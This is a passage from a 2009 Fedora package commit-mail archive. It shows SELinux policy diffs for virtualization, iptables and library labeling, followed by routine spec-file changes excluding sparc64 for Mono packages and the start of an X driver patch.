 +fs_rw_anon_inodefs_files(virtd_t)
 +fs_list_inotifyfs(virtd_t)
-+
-+modutils_manage_module_config(virtd_t)
  
 +storage_manage_fixed_disk(virtd_t)
 +storage_relabel_fixed_disk(virtd_t)
@@ -22880,8 +22922,14 @@ diff -b -B --ignore-all-space --exclude-
  term_use_ptmx(virtd_t)
  
  auth_use_nsswitch(virtd_t)
-@@ -130,7 +215,16 @@
+@@ -128,9 +205,22 @@
+ miscfiles_read_localization(virtd_t)
+ miscfiles_read_certs(virtd_t)
  
++modutils_read_module_deps(virtd_t)
++modutils_read_module_config(virtd_t)
++modutils_manage_module_config(virtd_t)
++
  logging_send_syslog_msg(virtd_t)
  
 +sysnet_domtrans_ifconfig(virtd_t)
@@ -22897,7 +22945,7 @@ diff -b -B --ignore-all-space --exclude-
  
  tunable_policy(`virt_use_nfs',`
  	fs_manage_nfs_dirs(virtd_t)
-@@ -168,22 +262,36 @@
+@@ -168,22 +258,36 @@
  	dnsmasq_domtrans(virtd_t)
  	dnsmasq_signal(virtd_t)
  	dnsmasq_kill(virtd_t)
@@ -22908,14 +22956,6 @@ diff -b -B --ignore-all-space --exclude-
  optional_policy(`
  	iptables_domtrans(virtd_t)
 +	iptables_initrc_domtrans(virtd_t)
-+')
-+
-+optional_policy(`
-+	kerberos_keytab_template(virtd, virtd_t)
-+')
-+
-+optional_policy(`
-+	lvm_domtrans(virtd_t)
  ')
  
 -#optional_policy(`
@@ -22923,14 +22963,22 @@ diff -b -B --ignore-all-space --exclude-
 -#	polkit_domtrans_resolve(virtd_t)
 -#')
 +optional_policy(`
++	kerberos_keytab_template(virtd, virtd_t)
++')
+ 
+ optional_policy(`
+-	qemu_domtrans(virtd_t)
++	lvm_domtrans(virtd_t)
++')
++
++optional_policy(`
 +        policykit_dbus_chat(virtd_t)
 +	policykit_domtrans_auth(virtd_t)
 +	policykit_domtrans_resolve(virtd_t)
 +	policykit_read_lib(virtd_t)
 +')
- 
- optional_policy(`
--	qemu_domtrans(virtd_t)
++
++optional_policy(`
 +	qemu_spec_domtrans(virtd_t, svirt_t)
  	qemu_read_state(virtd_t)
  	qemu_signal(virtd_t)
@@ -22939,7 +22987,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -196,8 +304,162 @@
+@@ -196,8 +300,150 @@
  
  	xen_stream_connect(virtd_t)
  	xen_stream_connect_xenstore(virtd_t)
@@ -22954,9 +23002,6 @@ diff -b -B --ignore-all-space --exclude-
  	unconfined_domain(virtd_t)
  ')
 +
-+manage_dirs_pattern(virtd_t, svirt_var_run_t, svirt_var_run_t)
-+manage_files_pattern(virtd_t, svirt_var_run_t, svirt_var_run_t)
-+
 +########################################
 +#
 +# svirt local policy
@@ -22965,13 +23010,6 @@ diff -b -B --ignore-all-space --exclude-
 +manage_files_pattern(svirt_t, svirt_cache_t, svirt_cache_t)
 +files_var_filetrans(svirt_t, svirt_cache_t, { file dir })
 +
-+manage_dirs_pattern(svirt_t, svirt_var_run_t, svirt_var_run_t)
-+manage_files_pattern(svirt_t, svirt_var_run_t, svirt_var_run_t)
-+manage_sock_files_pattern(svirt_t, svirt_var_run_t, svirt_var_run_t)
-+manage_lnk_files_pattern(svirt_t, svirt_var_run_t, svirt_var_run_t)
-+files_pid_filetrans(svirt_t, svirt_var_run_t, { dir file })
-+stream_connect_pattern(svirt_t, svirt_var_run_t, svirt_var_run_t, virtd_t)
-+
 +read_lnk_files_pattern(svirt_t, virt_image_t, virt_image_t)
 +
 +allow svirt_t svirt_image_t:dir search_dir_perms;
@@ -22986,14 +23024,8 @@ diff -b -B --ignore-all-space --exclude-
 +userdom_search_user_home_content(svirt_t)
 +userdom_read_all_users_state(svirt_t)
 +
-+append_files_pattern(svirt_t, virt_log_t, virt_log_t)
-+append_files_pattern(svirt_t, virt_var_lib_t, virt_var_lib_t)
-+
 +allow svirt_t self:udp_socket create_socket_perms;
 +
-+corecmd_exec_bin(svirt_t)
-+corecmd_exec_shell(svirt_t)
-+
 +corenet_udp_sendrecv_generic_if(svirt_t)
 +corenet_udp_sendrecv_generic_node(svirt_t)
 +corenet_udp_sendrecv_all_ports(svirt_t)
@@ -23049,10 +23081,14 @@ diff -b -B --ignore-all-space --exclude-
 +allow virt_domain self:unix_dgram_socket { create_socket_perms sendto };
 +allow virt_domain self:tcp_socket create_stream_socket_perms;
 +
-+stream_connect_pattern(virtd_t, svirt_var_run_t, svirt_var_run_t, virt_domain)
++append_files_pattern(virt_domain, virt_log_t, virt_log_t)
++append_files_pattern(virt_domain, virt_var_lib_t, virt_var_lib_t)
 +
 +kernel_read_system_state(virt_domain)
 +
++corecmd_exec_bin(virt_domain)
++corecmd_exec_shell(virt_domain)
++
 +corenet_all_recvfrom_unlabeled(virt_domain)
 +corenet_all_recvfrom_netlabel(virt_domain)
 +corenet_tcp_sendrecv_generic_if(virt_domain)
@@ -26347,7 +26383,7 @@ diff -b -B --ignore-all-space --exclude-
  ipsec_setcontext_default_spd(setkey_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/iptables.fc serefpolicy-3.6.32/policy/modules/system/iptables.fc
 --- nsaserefpolicy/policy/modules/system/iptables.fc	2009-09-09 09:23:16.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/iptables.fc	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/iptables.fc	2009-10-26 15:13:26.000000000 -0400
 @@ -1,7 +1,16 @@
 -/sbin/ip6tables.*	--	gen_context(system_u:object_r:iptables_exec_t,s0)
 +
@@ -26371,7 +26407,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/iptables.if serefpolicy-3.6.32/policy/modules/system/iptables.if
 --- nsaserefpolicy/policy/modules/system/iptables.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/iptables.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/iptables.if	2009-10-26 15:11:55.000000000 -0400
 @@ -19,6 +19,24 @@
  	domtrans_pattern($1, iptables_exec_t, iptables_t)
  ')
@@ -26482,7 +26518,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/iptables.te serefpolicy-3.6.32/policy/modules/system/iptables.te
 --- nsaserefpolicy/policy/modules/system/iptables.te	2009-09-09 09:23:16.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/iptables.te	2009-10-20 11:08:22.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/iptables.te	2009-10-26 15:12:43.000000000 -0400
 @@ -11,6 +11,12 @@
  init_system_domain(iptables_t, iptables_exec_t)
  role system_r types iptables_t;
@@ -26608,7 +26644,7 @@ diff -b -B --ignore-all-space --exclude-
 +miscfiles_read_localization(iscsid_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/libraries.fc serefpolicy-3.6.32/policy/modules/system/libraries.fc
 --- nsaserefpolicy/policy/modules/system/libraries.fc	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/libraries.fc	2009-10-15 13:03:19.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/libraries.fc	2009-10-26 15:31:02.000000000 -0400
 @@ -60,12 +60,15 @@
  #
  # /opt
@@ -26797,7 +26833,7 @@ diff -b -B --ignore-all-space --exclude-
  ') dnl end distro_redhat
  
  #
-@@ -307,10 +295,98 @@
+@@ -307,10 +295,102 @@
  
  /var/mailman/pythonlib(/.*)?/.+\.so(\..*)? --	gen_context(system_u:object_r:lib_t,s0)
  
@@ -26858,6 +26894,12 @@ diff -b -B --ignore-all-space --exclude-
 +
 +/usr/lib(64)?/yafaray/libDarkSky.so 	   --	gen_context(system_u:object_r:textrel_shlib_t,s0)
 +
++/usr/lib(64)?/libpostproc\.so.*		--	gen_context(system_u:object_r:textrel_shlib_t,s0)
++
++/usr/lib(64)?/libswscale\.so.*		 --	gen_context(system_u:object_r:textrel_shlib_t,s0)
++
++/usr/lib/libADM5avformat\.so.*		 --	gen_context(system_u:object_r:textrel_shlib_t,s0)
++
 +ifdef(`fixed',`
 +/usr/lib(64)?/libavfilter\.so(\..*)? -- gen_context(system_u:object_r:textrel_shlib_t,s0)
 +/usr/lib(64)?/libavdevice\.so.*	 --	gen_context(system_u:object_r:textrel_shlib_t,s0)
@@ -26875,9 +26917,7 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/X11R6/lib/libOSMesa.*\.so.*		--	gen_context(system_u:object_r:textrel_shlib_t,s0)
 +/usr/lib(64)?/libOSMesa.*\.so.*		--	gen_context(system_u:object_r:textrel_shlib_t,s0)
 +/usr/lib(64)?/libmpeg2\.so.*		--	gen_context(system_u:object_r:textrel_shlib_t,s0)
-+/usr/lib(64)?/libpostproc\.so.*		--	gen_context(system_u:object_r:textrel_shlib_t,s0)
 +/usr/lib(64)?/libSDL-.*\.so.*		--	gen_context(system_u:object_r:textrel_shlib_t,s0)
-+/usr/lib(64)?/libswscale\.so.*		 --	gen_context(system_u:object_r:textrel_shlib_t,s0)
 +/usr/lib(64)?/libx264\.so(\.[^/]*)* 	-- gen_context(system_u:object_r:textrel_shlib_t,s0)
 +/usr/lib(64)?/gstreamer-.*/[^/]*\.so.* --	gen_context(system_u:object_r:textrel_shlib_t,s0)
 +HOME_DIR/\.gstreamer-.*/plugins/.*\.so.* --	gen_context(system_u:object_r:textrel_shlib_t,s0)
@@ -27548,7 +27588,7 @@ diff -b -B --ignore-all-space --exclude-
  # gentoo init scripts still manage this file
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/modutils.if serefpolicy-3.6.32/policy/modules/system/modutils.if
 --- nsaserefpolicy/policy/modules/system/modutils.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/modutils.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/modutils.if	2009-10-26 15:15:11.000000000 -0400
 @@ -1,5 +1,24 @@
  ## <summary>Policy for kernel module utilities</summary>
  


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.950
retrieving revision 1.951
diff -u -p -r1.950 -r1.951
--- selinux-policy.spec	23 Oct 2009 14:40:39 -0000	1.950
+++ selinux-policy.spec	26 Oct 2009 19:31:24 -0000	1.951
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 33%{?dist}
+Release: 34%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -445,6 +445,13 @@ exit 0
 %endif
 
 %changelog
+* Fri Oct 23 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-34
+- Turn allow_postfix_local_write_mail_spool on by default
+- Allow bluetooth setpcap
+- Allow dbus to transiton to rpm_t when executing debuginfo-install
+- Allow chrome-sandbox to sends it self signals.
+- Fix the labeling of /usr/lib/libswscale.so.0.7.1
+
 * Fri Oct 23 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-33
 - Allow firefox to transition to java
 



From ausil at fedoraproject.org  Mon Oct 26 19:34:11 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:34:11 +0000 (UTC)
Subject: rpms/mono-zeroconf/F-12 mono-zeroconf.spec,1.14,1.15
Message-ID: <20091026193411.AAD3611C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mono-zeroconf/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23478

Modified Files:
	mono-zeroconf.spec 
Log Message:
ExcludeArch sparc64



Index: mono-zeroconf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-zeroconf/F-12/mono-zeroconf.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- mono-zeroconf.spec	20 Aug 2009 22:10:42 -0000	1.14
+++ mono-zeroconf.spec	26 Oct 2009 19:34:10 -0000	1.15
@@ -2,7 +2,7 @@
 
 Name:           mono-zeroconf
 Version:        0.7.6
-Release:        10%{?dist}
+Release:        11%{?dist}
 Summary:        Mono-zeroconf namespace
 Group:          Development/Languages
 License:        MIT
@@ -12,7 +12,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 BuildRequires:  mono-devel >= 2.2, avahi-sharp, monodoc-devel, mono-web-devel
 Requires: 	monodoc mono-web
 
-ExclusiveArch: %ix86 x86_64 ia64 armv4l sparc alpha ppc ppc64
+ExcludeArch: sparc64
 
 %description
 Mono.Zeroconf is a cross platform Zero Configuration Networking library
@@ -58,6 +58,9 @@ make DESTDIR=%{buildroot} install
 %{_libdir}/pkgconfig/mono-zeroconf.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.7.6-11
+- ExcludeArch sparc64
+
 * Thu Aug 20 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.7.6-10
 - Rebuild for ppc64 packages due to obsolete of packageset last time.
 



From ausil at fedoraproject.org  Mon Oct 26 19:35:08 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:35:08 +0000 (UTC)
Subject: rpms/mono-zeroconf/devel mono-zeroconf.spec,1.15,1.16
Message-ID: <20091026193508.73C1711C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mono-zeroconf/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23615

Modified Files:
	mono-zeroconf.spec 
Log Message:
Exclude sparc64



Index: mono-zeroconf.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-zeroconf/devel/mono-zeroconf.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- mono-zeroconf.spec	23 Oct 2009 00:13:20 -0000	1.15
+++ mono-zeroconf.spec	26 Oct 2009 19:35:08 -0000	1.16
@@ -1,42 +1,39 @@
 %define         debug_package %{nil}
 
 Name:           mono-zeroconf
-Version:        0.9.0
-Release:        2%{?dist}
-Summary:        Mono.Zeroconf networking library
+Version:        0.7.6
+Release:        11%{?dist}
+Summary:        Mono-zeroconf namespace
 Group:          Development/Languages
 License:        MIT
 URL:            http://banshee-project.org/files/mono-zeroconf
 Source0:        %{name}-%{version}.tar.bz2
-Patch0:         %{name}-0.9.0-use-system-ndesk-dbus.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires:  mono-devel monodoc-devel ndesk-dbus-devel
-Requires:       mono-core
+BuildRequires:  mono-devel >= 2.2, avahi-sharp, monodoc-devel, mono-web-devel
+Requires: 	monodoc mono-web
 
-ExclusiveArch: %ix86 x86_64 ia64 armv4l sparc alpha ppc ppc64
+ExcludeArch: sparc64
 
 %description
 Mono.Zeroconf is a cross platform Zero Configuration Networking library
 for Mono and .NET.
 
 %package devel
-Summary: Development files for Mono.Zeroconf
-Group:   Development/Languages
-Requires: %{name} = %{version}-%{release} pkgconfig monodoc
+Summary: .pc file for mono zeroconf
+Group: Documentation
+Requires: %{name} = %{version}-%{release} pkgconfig
 
 %description devel
-Development files and documentation for Mono.Zeroconf
+Development file for mono zeroconf
 
 %prep
 %setup -q
-%patch0 -p1 -b .use-system-ndesk-dbus
-# https://bugzilla.novell.com/show_bug.cgi?id=549163
+# sed magic...
 sed -i -e 's!$(DESTDIR)$(prefix)/lib!$(DESTDIR)%{_libdir}!' configure.ac
 sed -i -e 's!$(DESTDIR)$(prefix)/lib!$(DESTDIR)%{_libdir}!' configure
 
 %build
-%configure --disable-mdnsresponder
-#parallel build doesn't work
+%configure
 make
 
 %install
@@ -53,19 +50,16 @@ make DESTDIR=%{buildroot} install
 %{_libdir}/mono-zeroconf/
 %{_libdir}/mono/gac/Mono.Zeroconf
 %{_libdir}/mono/mono-zeroconf
-%{_libdir}/mono/gac/policy.*
+%{_libdir}/monodoc/sources/mono-zeroconf*
+%{_libdir}/mono/gac/policy.1.0.Mono.Zeroconf/
+%{_libdir}/mono/gac/policy.2.0.Mono.Zeroconf/
 
 %files devel
 %{_libdir}/pkgconfig/mono-zeroconf.pc
-%{_libdir}/monodoc/sources/mono-zeroconf*
 
 %changelog
-* Thu Oct 22 2009 Michel Salim <salimma at fedoraproject.org> - 0.9.0-2
-- Make AvahiDbus the only provider for now
-
-* Thu Oct 22 2009 Paul Lange <palango at gmx.de> - 0.9-1
-- update to version 0.9
-- move docs into devel package
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.7.6-11
+- ExcludeArch sparc64
 
 * Thu Aug 20 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.7.6-10
 - Rebuild for ppc64 packages due to obsolete of packageset last time.



From ausil at fedoraproject.org  Mon Oct 26 19:38:14 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:38:14 +0000 (UTC)
Subject: rpms/gtksourceview2-sharp/F-12 gtksourceview2-sharp.spec,1.6,1.7
Message-ID: <20091026193814.A767211C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gtksourceview2-sharp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24692

Modified Files:
	gtksourceview2-sharp.spec 
Log Message:
Exclude sparc64



Index: gtksourceview2-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtksourceview2-sharp/F-12/gtksourceview2-sharp.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- gtksourceview2-sharp.spec	25 Jul 2009 01:48:00 -0000	1.6
+++ gtksourceview2-sharp.spec	26 Oct 2009 19:38:14 -0000	1.7
@@ -4,7 +4,7 @@
 Summary: A C sharp binder for gtksourceview2
 Name: gtksourceview2-sharp
 Version: 1.0
-Release: 5.svn%{svn_revision}.3%{dist}
+Release: 6.svn%{svn_revision}%{dist}
 License: LGPLv2
 Group: System Environment/Libraries
 Source0: http://ftp.novell.com/pub/mono/sources/%{name}-%{svn_revision}.tar.bz2
@@ -14,6 +14,8 @@ BuildRequires: mono-devel pkgconfig gtks
 BuildRequires: monodoc-devel automake autoconf gtk-sharp2-gapi
 Patch0: gtksv2-config.patch
 
+ExcludeArch: sparc64
+
 %description
 gtksourceview-sharp is a C sharp binder for gtksourceview
 
@@ -61,6 +63,9 @@ make DESTDIR=%{buildroot} install
 %{__rm} -rf %{buildroot}
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.0-6.svn89788
+- ExcludeArch sparc64
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0-5.svn89788.3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 19:39:01 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:39:01 +0000 (UTC)
Subject: rpms/gtksourceview2-sharp/devel gtksourceview2-sharp.spec,1.6,1.7
Message-ID: <20091026193901.B026311C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gtksourceview2-sharp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24921

Modified Files:
	gtksourceview2-sharp.spec 
Log Message:
Exclude sparc64



Index: gtksourceview2-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtksourceview2-sharp/devel/gtksourceview2-sharp.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- gtksourceview2-sharp.spec	25 Jul 2009 01:48:00 -0000	1.6
+++ gtksourceview2-sharp.spec	26 Oct 2009 19:39:01 -0000	1.7
@@ -4,7 +4,7 @@
 Summary: A C sharp binder for gtksourceview2
 Name: gtksourceview2-sharp
 Version: 1.0
-Release: 5.svn%{svn_revision}.3%{dist}
+Release: 6.svn%{svn_revision}%{dist}
 License: LGPLv2
 Group: System Environment/Libraries
 Source0: http://ftp.novell.com/pub/mono/sources/%{name}-%{svn_revision}.tar.bz2
@@ -14,6 +14,8 @@ BuildRequires: mono-devel pkgconfig gtks
 BuildRequires: monodoc-devel automake autoconf gtk-sharp2-gapi
 Patch0: gtksv2-config.patch
 
+ExcludeArch: sparc64
+
 %description
 gtksourceview-sharp is a C sharp binder for gtksourceview
 
@@ -61,6 +63,9 @@ make DESTDIR=%{buildroot} install
 %{__rm} -rf %{buildroot}
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 1.0-6.svn89788
+- ExcludeArch sparc64
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0-5.svn89788.3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 19:40:52 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:40:52 +0000 (UTC)
Subject: rpms/bareftp/F-12 bareftp.spec,1.5,1.6
Message-ID: <20091026194052.6A8D611C02C6@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/bareftp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25357

Modified Files:
	bareftp.spec 
Log Message:
exclude sparc64



Index: bareftp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bareftp/F-12/bareftp.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- bareftp.spec	24 Jul 2009 17:51:06 -0000	1.5
+++ bareftp.spec	26 Oct 2009 19:40:52 -0000	1.6
@@ -2,7 +2,7 @@
 
 Name:           bareftp
 Version:        0.2.3
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        File transfer client supporting the FTP, FTP over SSL/TLS (FTPS) and SSH
 
 Group:          Applications/Internet
@@ -31,6 +31,8 @@ BuildRequires:  mono-devel
 Requires(post): desktop-file-utils
 Requires(postun): desktop-file-utils
 
+ExcludeArch: sparc64
+
 %description
 bareFTP is a file transfer client supporting the FTP, FTP over SSL/TLS (FTPS)
 and SSH File Transfer Protocol (SFTP). It is written in C#, targeting the Mono
@@ -97,6 +99,9 @@ fi
 
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.2.3-4
+- Exclude sparc64 no mono available
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2.3-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 19:41:54 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:41:54 +0000 (UTC)
Subject: rpms/bareftp/devel bareftp.spec,1.5,1.6
Message-ID: <20091026194154.6DB9211C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/bareftp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25560

Modified Files:
	bareftp.spec 
Log Message:
Exclude sparc64



Index: bareftp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bareftp/devel/bareftp.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- bareftp.spec	24 Jul 2009 17:51:06 -0000	1.5
+++ bareftp.spec	26 Oct 2009 19:41:54 -0000	1.6
@@ -2,7 +2,7 @@
 
 Name:           bareftp
 Version:        0.2.3
-Release:        3%{?dist}
+Release:        4%{?dist}
 Summary:        File transfer client supporting the FTP, FTP over SSL/TLS (FTPS) and SSH
 
 Group:          Applications/Internet
@@ -31,6 +31,8 @@ BuildRequires:  mono-devel
 Requires(post): desktop-file-utils
 Requires(postun): desktop-file-utils
 
+ExcludeArch: sparc64
+
 %description
 bareFTP is a file transfer client supporting the FTP, FTP over SSL/TLS (FTPS)
 and SSH File Transfer Protocol (SFTP). It is written in C#, targeting the Mono
@@ -97,6 +99,9 @@ fi
 
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.2.3-4
+- Exclude sparc64 no mono available
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2.3-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 19:44:30 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:44:30 +0000 (UTC)
Subject: rpms/beagle/F-12 beagle.spec,1.173,1.174
Message-ID: <20091026194430.4DDFA11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/beagle/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26208

Modified Files:
	beagle.spec 
Log Message:
enable s390 s390x



Index: beagle.spec
===================================================================
RCS file: /cvs/pkgs/rpms/beagle/F-12/beagle.spec,v
retrieving revision 1.173
retrieving revision 1.174
diff -u -p -r1.173 -r1.174
--- beagle.spec	21 Aug 2009 03:31:06 -0000	1.173
+++ beagle.spec	26 Oct 2009 19:44:29 -0000	1.174
@@ -1,6 +1,6 @@
 Name:		beagle
 Version:	0.3.9
-Release:	14%{?dist}
+Release:	15%{?dist}
 Summary:	The Beagle Search Infrastructure
 Group:		User Interface/Desktops
 # see COPYING for details
@@ -69,7 +69,7 @@ Patch10: beagle-0.3.9-libgnome-desktop-s
 Patch11: beagle-0.3.9-openfix.patch
 
 # Mono is not available on these arches 
-ExcludeArch: s390 s390x sparc64
+ExcludeArch: sparc64
 
 BuildRequires:	xulrunner-devel
 
@@ -354,6 +354,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/beagle*.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.3.9-15
+- enable s390 and s390x
+
 * Thu Aug 20 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.9-14
 - Re-disable epiphany -- this is because epiphany lacks python support, not
   because of x86_64 problems.



From ausil at fedoraproject.org  Mon Oct 26 19:45:15 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 19:45:15 +0000 (UTC)
Subject: rpms/beagle/devel beagle.spec,1.173,1.174
Message-ID: <20091026194515.9A04511C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/beagle/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26415

Modified Files:
	beagle.spec 
Log Message:
enable s390 s390x



Index: beagle.spec
===================================================================
RCS file: /cvs/pkgs/rpms/beagle/devel/beagle.spec,v
retrieving revision 1.173
retrieving revision 1.174
diff -u -p -r1.173 -r1.174
--- beagle.spec	21 Aug 2009 03:31:06 -0000	1.173
+++ beagle.spec	26 Oct 2009 19:45:15 -0000	1.174
@@ -1,6 +1,6 @@
 Name:		beagle
 Version:	0.3.9
-Release:	14%{?dist}
+Release:	15%{?dist}
 Summary:	The Beagle Search Infrastructure
 Group:		User Interface/Desktops
 # see COPYING for details
@@ -69,7 +69,7 @@ Patch10: beagle-0.3.9-libgnome-desktop-s
 Patch11: beagle-0.3.9-openfix.patch
 
 # Mono is not available on these arches 
-ExcludeArch: s390 s390x sparc64
+ExcludeArch: sparc64
 
 BuildRequires:	xulrunner-devel
 
@@ -354,6 +354,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/beagle*.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.3.9-15
+- enable s390 and s390x
+
 * Thu Aug 20 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.3.9-14
 - Re-disable epiphany -- this is because epiphany lacks python support, not
   because of x86_64 problems.



From ajax at fedoraproject.org  Mon Oct 26 19:47:13 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Mon, 26 Oct 2009 19:47:13 +0000 (UTC)
Subject: rpms/xorg-x11-drv-neomagic/devel neomagic-usleep.patch, NONE,
	1.1 xorg-x11-drv-neomagic.spec, 1.23, 1.24
Message-ID: <20091026194713.7557111C0264@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-drv-neomagic/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26896

Modified Files:
	xorg-x11-drv-neomagic.spec 
Added Files:
	neomagic-usleep.patch 
Log Message:
* Mon Oct 26 2009 Adam Jackson <ajax at redhat.com> 1.2.4-2
- neomagic-usleep.patch: Fix for new server ABI. (#523800)


neomagic-usleep.patch:
 neo_driver.c |    7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

--- NEW FILE neomagic-usleep.patch ---
>From 4e2afb88212582df60bca3ec8c447965a5a66fd5 Mon Sep 17 00:00:00 2001
From: Adam Jackson <ajax at redhat.com>
Date: Mon, 26 Oct 2009 15:43:50 -0400
Subject: [PATCH] s/xf86UDelay/usleep/g

cf. https://bugzilla.redhat.com/show_bug.cgi?id=523800

Signed-off-by: Adam Jackson <ajax at redhat.com>
---
 src/neo_driver.c |    6 ++++--
 1 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/src/neo_driver.c b/src/neo_driver.c
index ddb6812..e4c60f2 100644
--- a/src/neo_driver.c
